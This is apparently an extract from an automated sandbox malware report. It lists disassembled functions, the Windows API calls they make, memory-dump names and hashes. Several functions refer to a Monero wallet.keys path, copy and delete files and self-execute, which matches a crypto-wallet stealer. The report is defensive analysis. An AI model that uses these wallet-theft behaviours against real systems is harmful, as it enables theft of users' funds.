RegOpenKeyExA.ADVAPI32(80000002,0188BD78,00000000,00020119,?), ref: 00CC7E5E
RegQueryValueExA.ADVAPI32(?,0189D5C8,00000000,00000000,000000FF,000000FF), ref: 00CC7E7F
RegCloseKey.ADVAPI32(?), ref: 00CC7E92

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9f07109f34cfb0818b4ceb01bc94f344472650eae91465b4713cc3928bf4f279
Instruction ID: 02de1206f44c0a2154367ee95c94cd41506dbb0e4ce345a0014016ec24ab59cc
Opcode Fuzzy Hash: 9f07109f34cfb0818b4ceb01bc94f344472650eae91465b4713cc3928bf4f279
Instruction Fuzzy Hash: 97116DF2A44205AFD704DB96DC49F7BBBB8EB44710F10426DF619AB280D7B45804CBA1

Function 00CC9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0189E1B0,?,?,?,00CC140C,?,0189E1B0,00000000), ref: 00CC926C
lstrcpyn.KERNEL32(00EFAB88,0189E1B0,0189E1B0,?,00CC140C,?,0189E1B0), ref: 00CC9290
lstrlen.KERNEL32(?,?,00CC140C,?,0189E1B0), ref: 00CC92A7
wsprintfA.USER32 ref: 00CC92C7

Strings

%s%s, xrefs: 00CC92B5

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 698de9d73fe03e4bc971020ba7bf34f6967b69c8f0625137f1fac441dc2f6ac1
Instruction ID: ef5d785badd4e217e6b6f24a48f37584ee97b4c5d52ab68ec606940b097a11ec
Opcode Fuzzy Hash: 698de9d73fe03e4bc971020ba7bf34f6967b69c8f0625137f1fac441dc2f6ac1
Instruction Fuzzy Hash: 9401E9B5500108FFCB04DFEDC988EAE7BB9EB84350F148158F909AB244C631AB41DB91

Function 00CB12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CB12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00CB12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CB12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CB12F5
RegCloseKey.ADVAPI32(?), ref: 00CB12FF

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 815968efa061220fac865d38c92941f61414d7311bd8198175547c83584e1627
Instruction ID: e5faa113a4db56ab4282881d052c602f9c3abd524e35bf0c3ef798450c37a036
Opcode Fuzzy Hash: 815968efa061220fac865d38c92941f61414d7311bd8198175547c83584e1627
Instruction Fuzzy Hash: A60136F9A40208BFDB04DFD1DC49FAEB7B8EB88701F048155FA09AB280D670AA05CF51

Function 00CCC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00CCC8EC
___crtLCMapStringA.LIBCMT ref: 00CCC90C
___crtLCMapStringA.LIBCMT ref: 00CCC931

Strings

, xrefs: 00CCC896

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 13f8afa66d5274b5de3c22d30a4984fc5b0150c05463db0c0e24feba42409f50
Instruction ID: 496bc8ba08309ff283f93ad2ab8174f552a1c77c23c10d0edb4a08c34ffa0d8b
Opcode Fuzzy Hash: 13f8afa66d5274b5de3c22d30a4984fc5b0150c05463db0c0e24feba42409f50
Instruction Fuzzy Hash: B341B2B150079C9EDB218B24CDC5FFBBBE8AB45704F1844ECE99A86182E2719B45DF60

Function 00CC6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00CC6663

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

ShellExecuteEx.SHELL32(0000003C), ref: 00CC6726
ExitProcess.KERNEL32 ref: 00CC6755

Strings

<, xrefs: 00CC66D9

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: a3a9d88fbef733cc3ec5281c4356f6ff8cbcd7904d79ee09d1b4698f26089aac
Instruction ID: 80846992026d7cc51afca9c6af60539065feb933ab72ed70a4ad9ebf778ecf7b
Opcode Fuzzy Hash: a3a9d88fbef733cc3ec5281c4356f6ff8cbcd7904d79ee09d1b4698f26089aac
Instruction Fuzzy Hash: 983138B1801208AFDB14EB91DC86FEEB778AF44304F404199F20976191DF746B49DF6A

Function 00CC87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CD0E28,00000000,?), ref: 00CC882F
RtlAllocateHeap.NTDLL(00000000), ref: 00CC8836
wsprintfA.USER32 ref: 00CC8850

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Strings

%dx%d, xrefs: 00CC8847

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: aa03cc755037dccd757166d8fa3d9e19ed8bf44579631f2dd77b28059a0d9ca9
Instruction ID: d9548ee78ae505c65be0758074ea550fd85f4e3ad9f0781a6fa97a3fc40fab16
Opcode Fuzzy Hash: aa03cc755037dccd757166d8fa3d9e19ed8bf44579631f2dd77b28059a0d9ca9
Instruction Fuzzy Hash: B82130B1A40208AFDB04DF95DD49FBEBBB8FB48711F144169F609BB280C7799904CBA1

Function 00CC8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00CC951E,00000000), ref: 00CC8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00CC8D62
wsprintfW.USER32 ref: 00CC8D78

Strings

%hs, xrefs: 00CC8D6F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1b8153cb68fadb94796e740cf88f58d040b5d48446fe0f5cc3c504041e4d570c
Instruction ID: 81e292ebef84ab07692dad2ee6a69fd93cd398c769dd2db9e5b07685076de0ed
Opcode Fuzzy Hash: 1b8153cb68fadb94796e740cf88f58d040b5d48446fe0f5cc3c504041e4d570c
Instruction Fuzzy Hash: 41E086B1A40208BFC704DB95DC0EE6977B8EB44701F040065FD0D9B280D9715E04DB52

Function 00CBA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC8B60: GetSystemTime.KERNEL32(00CD0E1A,018992C8,00CD05AE,?,?,00CB13F9,?,0000001A,00CD0E1A,00000000,?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CC8B86

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CBA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00CBA3FF
lstrlen.KERNEL32(00000000), ref: 00CBA6BC

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

DeleteFileA.KERNEL32(00000000), ref: 00CBA743

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7727c85c1e25c4d6135c743dcaa6d04dd6b67b87e9a045bd797935c0410a1c6b
Instruction ID: 668bd65c96fff11366d87111b82574ce73a03e0bb4cf8c06ff12d5c1e49caf96
Opcode Fuzzy Hash: 7727c85c1e25c4d6135c743dcaa6d04dd6b67b87e9a045bd797935c0410a1c6b
Instruction Fuzzy Hash: D5E10B7281010C9BCB14EBA5DC9AFEE7338AF54304F54816DF516B6091EE306A4EEB66

Function 00CBD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC8B60: GetSystemTime.KERNEL32(00CD0E1A,018992C8,00CD05AE,?,?,00CB13F9,?,0000001A,00CD0E1A,00000000,?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CC8B86

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CBD481
lstrlen.KERNEL32(00000000), ref: 00CBD698
lstrlen.KERNEL32(00000000), ref: 00CBD6AC
DeleteFileA.KERNEL32(00000000), ref: 00CBD72B

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 410c0f6c6be15471002c56c1cefa34e59f81ddecfaf1012e4e63aaeccc81981f
Instruction ID: 648d40d47e02ff2089aff392902ef1860e784cac36c33d3ed9c0abf3e34bbc24
Opcode Fuzzy Hash: 410c0f6c6be15471002c56c1cefa34e59f81ddecfaf1012e4e63aaeccc81981f
Instruction Fuzzy Hash: 0A91F97291010C9BCB04FBA5DC9AFEE7338AF54308F54416DF516B6091EF346A4AEB62

Function 00CBD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

Part of subcall function 00CC8B60: GetSystemTime.KERNEL32(00CD0E1A,018992C8,00CD05AE,?,?,00CB13F9,?,0000001A,00CD0E1A,00000000,?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CC8B86

Part of subcall function 00CCA920: lstrcpy.KERNEL32(00000000,?), ref: 00CCA972
Part of subcall function 00CCA920: lstrcat.KERNEL32(00000000), ref: 00CCA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00CBD801
lstrlen.KERNEL32(00000000), ref: 00CBD99F
lstrlen.KERNEL32(00000000), ref: 00CBD9B3
DeleteFileA.KERNEL32(00000000), ref: 00CBDA32

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 2d99c5c9347fe8ee309274d5956df1db97cdf1388bf6d5a762e65b9ee0a0c62a
Instruction ID: 3f941bf998959f69fd295c97e0072df77d35b2694236cfcb81085b556624736e
Opcode Fuzzy Hash: 2d99c5c9347fe8ee309274d5956df1db97cdf1388bf6d5a762e65b9ee0a0c62a
Instruction Fuzzy Hash: C981EB7291010C9BDB04FBA5DC9AFEE7338AF54304F54416DF507B6091EE346A0AEBA2

Function 00CBF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00CCA7E6

